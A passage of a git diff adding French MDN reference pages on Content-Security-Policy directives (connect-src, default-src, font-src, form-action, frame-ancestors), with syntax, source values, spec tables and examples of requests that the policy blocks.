+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li>
+ <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.html b/files/fr/web/http/headers/content-security-policy/connect-src/index.html
new file mode 100644
index 0000000000..9914f70cf4
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/connect-src/index.html
@@ -0,0 +1,129 @@
+---
+title: 'CSP: connect-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/connect-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - connect-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>connect-src</strong></code> restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},</li>
+ <li>{{domxref("Fetch")}},</li>
+ <li>{{domxref("XMLHttpRequest")}},</li>
+ <li>{{domxref("WebSocket")}},</li>
+ <li>{{domxref("EventSource")}}, and</li>
+ <li>{{domxref("Navigator.sendBeacon()")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> <code>connect-src 'self'</code> ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : <a href="https://github.com/w3c/webappsec-csp/issues/7">https://github.com/w3c/webappsec-csp/issues/7</a>.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: connect-src &lt;source&gt;;
+Content-Security-Policy: connect-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: connect-src https://example.com/</pre>
+
+<p>Les connexions suivantes seront bloquées et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;a ping="https://not-example.com"&gt;
+
+&lt;script&gt;
+  var xhr = new XMLHttpRequest();
+  xhr.open('GET', 'https://not-example.com/');
+  xhr.send();
+
+  var ws = new WebSocket("https://not-example.com/");
+
+  var es = new EventSource("https://not-example.com/");
+
+  navigator.sendBeacon("https://not-example.com/", { ... });
+&lt;/script&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>Avant Firefox 23, <code>xhr-src</code> était utilisé en lieu et place de la directive <code>connect-src</code> et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}</li>
+ <li>{{domxref("Fetch")}}</li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("WebSocket")}}</li>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.html b/files/fr/web/http/headers/content-security-policy/default-src/index.html
new file mode 100644
index 0000000000..4111dc6de1
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/default-src/index.html
@@ -0,0 +1,183 @@
+---
+title: 'CSP: default-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/default-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - default
+  - default-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>default-src</code></strong> sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.</span> Pour chacune des directives suivantes, l'agent utilisateur consultera la directive <code>default-src</code> et utilisera sa valeur pour la directive demandée si celle-ci est absente :</p>
+
+<ul>
+ <li>{{CSP("child-src")}}</li>
+ <li>{{CSP("connect-src")}}</li>
+ <li>{{CSP("font-src")}}</li>
+ <li>{{CSP("frame-src")}}</li>
+ <li>{{CSP("img-src")}}</li>
+ <li>{{CSP("manifest-src")}}</li>
+ <li>{{CSP("media-src")}}</li>
+ <li>{{CSP("object-src")}}</li>
+ <li>{{CSP("prefetch-src")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("script-src-elem")}}</li>
+ <li>{{CSP("script-src-attr")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("style-src-elem")}}</li>
+ <li>{{CSP("style-src-attr")}}</li>
+ <li>{{CSP("worker-src")}}</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src &lt;source&gt;;
+Content-Security-Policy: default-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<div id="common_sources">
+<p>La &lt;source&gt; peut être une des suivantes :</p>
+
+<dl>
+ <dt>&lt;host-source&gt;</dt>
+ <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="/en-US/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.<br>
+ Exemples:
+ <ul>
+  <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li>
+  <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li>
+  <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li>
+  <li><code>*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.</li>
+ </ul>
+ </dd>
+ <dt>&lt;scheme-source&gt;</dt>
+ <dd>Un protocole tel que <code>http:</code> ou <code>https:</code>. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé).
+ <ul>
+  <li><code>data:</code> permet aux <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URI <code>data:</code></a> d'être utilisées comme sources de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.</em></li>
+  <li><code>mediastream:</code> permet aux <a href="/en-US/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li>
+  <li><code>blob:</code> permet aux <a href="/en-US/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li>
+  <li><code>filesystem:</code> Allows <a href="/en-US/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li>
+ </ul>
+ </dd>
+ <dt><code>'self'</code></dt>
+ <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd>
+ <dt><code>'unsafe-eval'</code></dt>
+ <dd>Permet l'usage de la fonction <code>eval()</code> et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.</dd>
+ <dt id="unsafe-hashes"><code>'unsafe-hashes'</code></dt>
+ <dd>Permet l'usage de certains <a href="/en-US/docs/Web/Guide/Events/Event_handlers">écouteurs d'évènements</a> par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL <code>javascript:</code>, cette valeur est plus sécurisée que <code>unsafe-inline</code>.</dd>
+ <dt><code>'unsafe-inline'</code></dt>
+ <dd>Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans <code>src</code>), d'URL <code>javascript:</code>, de gestionnaire d'évènement par attributs (<code>on&lt;eventName&gt;</code>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.</dd>
+ <dt><code>'none'</code></dt>
+ <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd>
+ <dt>'nonce-&lt;base64-value&gt;'</dt>
+ <dd>Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (<em>number used once</em>, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur <code>'unsafe-inline'</code>, qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.</dd>
+ <dt>'&lt;hash-algorithm&gt;-&lt;base64-value&gt;'</dt>
+ <dd>Un hash sha256, sha384 ou sha512 d'un <code>&lt;script&gt;</code> ou d'un <code>&lt;style&gt;</code>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <code>&lt;script&gt;</code> or <code>&lt;style&gt;</code> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.</dd>
+</dl>
+</div>
+
+<div id="strict-dynamic">
+<dl>
+ <dt>'strict-dynamic'</dt>
+ <dd>La valeur <code>strict-dynamic</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que <code>'self'</code> ou <code>'unsafe-inline'</code> et listes de permissions sont ignorées. Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> pour en avoir un exemple.</dd>
+</dl>
+</div>
+
+<div id="report-sample">
+<dl>
+ <dt>'report-sample'</dt>
+ <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd>
+</dl>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Absence_dhéritage_avec_default-src">Absence d'héritage avec default-src</h3>
+
+<p>S'il y a d'autres directives spécifiées, <code>default-src</code> ne les affecte pas. Soit l'en-tête suivant :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: default-src 'self'; script-src https://example.com</pre>
+
+<p>Est identique à :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: connect-src 'self';
+                         font-src 'self';
+                         frame-src 'self';
+                         img-src 'self';
+                         manifest-src 'self';
+                         media-src 'self';
+                         object-src 'self';
+                         script-src https://example.com;
+                         style-src 'self';
+                         worker-src 'self'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Ajout de <code>frame-src</code>, <code>manifest-src</code> et <code>worker-src</code> comme valeurs par défaut.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.default-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>CSP directives (<a href="https://www.w3.org/TR/CSP/#csp-directives">https://www.w3.org/TR/CSP/#csp-directives</a>):
+  <ul>
+   <li>{{Glossary("Fetch directive")}}</li>
+   <li>{{Glossary("Document directive")}}</li>
+   <li>{{Glossary("Navigation directive")}}</li>
+   <li>{{Glossary("Reporting directive")}}</li>
+   <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests">upgrade-insecure-requests</a></code></li>
+   <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content">block-all-mixed-content</a></code></li>
+   <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for">require-sri-for</a></code> {{experimental_inline}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/font-src/index.html b/files/fr/web/http/headers/content-security-policy/font-src/index.html
new file mode 100644
index 0000000000..a5d70dcc8d
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/font-src/index.html
@@ -0,0 +1,102 @@
+---
+title: 'CSP: font-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/font-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - font
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>font</strong></code><strong><code>-src</code></strong> spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: font-src &lt;source&gt;;
+Content-Security-Policy: font-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: font-src https://example.com/</pre>
+
+<p>Cette définition de police sera bloquée et ne se chargera pas :</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+  @font-face {
+    font-family: "MyFont";
+    src: url("https://not-example.com/font");
+  }
+  body {
+    font-family: "MyFont";
+  }
+&lt;/style&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-font-src", "font-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-font-src", "font-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.font-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{cssxref("@font-face")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/form-action/index.html b/files/fr/web/http/headers/content-security-policy/form-action/index.html
new file mode 100644
index 0000000000..e7f4b76e23
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/form-action/index.html
@@ -0,0 +1,115 @@
+---
+title: 'CSP: form-action'
+slug: Web/HTTP/Headers/Content-Security-Policy/form-action
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Security
+  - Sécurité
+  - form
+  - form-action
+translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>form</strong></code><strong><code>-action</code></strong> restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné.</p>
+
+<div class="warning">
+<p>La question de savoir si <code>form-action</code> doit bloquer les redirections après une soumission de formulaire est encore <a href="https://github.com/w3c/webappsec-csp/issues/8">débattue</a> et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63).</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Navigation directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Non, ne pas la définir autorise toutes les adresses.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: form-action &lt;source&gt;;
+Content-Security-Policy: form-action &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Configuration_par_balise_&lt;meta>">Configuration par balise &lt;meta&gt;</h3>
+
+<pre class="brush: html notranslate">&lt;meta http-equiv="Content-Security-Policy" content="form-action 'none'"&gt;</pre>
+
+<h3 id="Configuration_par_Apache">Configuration par Apache</h3>
+
+<pre class="brush: bash notranslate">&lt;IfModule mod_headers.c&gt;
+Header set Content-Security-Policy "form-action 'none';"
+&lt;/IfModule&gt;</pre>
+
+<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3>
+
+<pre class="brush: bash notranslate">add_header Content-Security-Policy "form-action 'none';"</pre>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Utiliser un élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué JavaScript résultera en une violation de CSP :</p>
+
+<pre class="brush: html; example-bad notranslate">&lt;meta http-equiv="Content-Security-Policy" content="form-action 'none'"&gt;
+
+&lt;form action="javascript:alert('Foo')" id="form1" method="post"&gt;
+  &lt;input type="text" name="fieldName" value="fieldValue"&gt;
+  &lt;input type="submit" id="submit" value="submit"&gt;
+&lt;/form&gt;
+
+// Error: Refused to send form data because it violates the following
+// Content Security Policy directive: "form-action 'none'".</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-form-action", "form-action")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-form-action", "form-action")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.form-action")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPheader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("form")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html
new file mode 100644
index 0000000000..02431602f3
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html
@@ -0,0 +1,126 @@
+---
+title: 'CSP: frame-ancestors'
+slug: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - Frame
+  - HTTP
+  - Security
+  - Sécurité
+  - frame-ancestors
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-ancestors</strong></code> spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</p>
+
+<p>Définir cette directive à <code>'none'</code> est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}<code>: deny</code> (aussi supporté sur les anciens navigateurs).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">CSP version</th>
+   <td>2</td>
+  </tr>
+  <tr>
+   <th scope="row">Directive type</th>
+   <td>{{Glossary("Navigation directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} fallback</th>
+   <td>No. Not setting this allows anything.</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: frame-ancestors &lt;source&gt;;
+Content-Security-Policy: frame-ancestors &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>La &lt;source&gt; peut être une des suivantes :</p>
+
+<div class="note">
+<p>The <code>frame-ancestors</code> directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow <code>'unsafe-eval'</code> or <code>'unsafe-inline'</code> for example. It will also not fall back to a <code>default-src</code> setting. Only the sources listed below are allowed:</p>
+</div>
+
+<dl>
+ <dt>&lt;host-source&gt;</dt>
+ <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="https://wiki.developer.mozilla.org/en-US/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples.<br>
+ Exemples :
+ <ul>
+  <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li>
+  <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li>
+  <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li>
+ </ul>
+
+ <div class="blockIndicator warning">
+ <p>Si aucun schéma d'URL n'est spécifié comme <code>host-source</code> et que l'{{HTMLElement("iframe")}} est chargée via une URL <code>https:</code>, la page chargeant l'iframe doit aussi être chargée en <code>https:</code>, selon la spécification du W3C sur <a href="https://w3c.github.io/webappsec-csp/2/#match-source-expression">les correspondances de valeurs de sources</a>.</p>
+ </div>
+ </dd>
+ <dt>&lt;scheme-source&gt;</dt>
+ <dd>Un protocole tel que <code>http:</code> or <code>https:</code>. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé.
+ <ul>
+  <li><code>data:</code> Autorise <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">les URI <code>data:</code></a> à être utilisées comme source de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts.</em></li>
+  <li><code>mediastream:</code> permet aux <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li>
+  <li><code>blob:</code> permet aux <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li>
+  <li><code>filesystem:</code> Allows <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li>
+ </ul>
+ </dd>
+ <dt><code>'self'</code></dt>
+ <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd>
+ <dt><code>'none'</code></dt>
+ <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: frame-ancestors 'none';
+
+Content-Security-Policy: frame-ancestors 'self' https://www.example.org;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
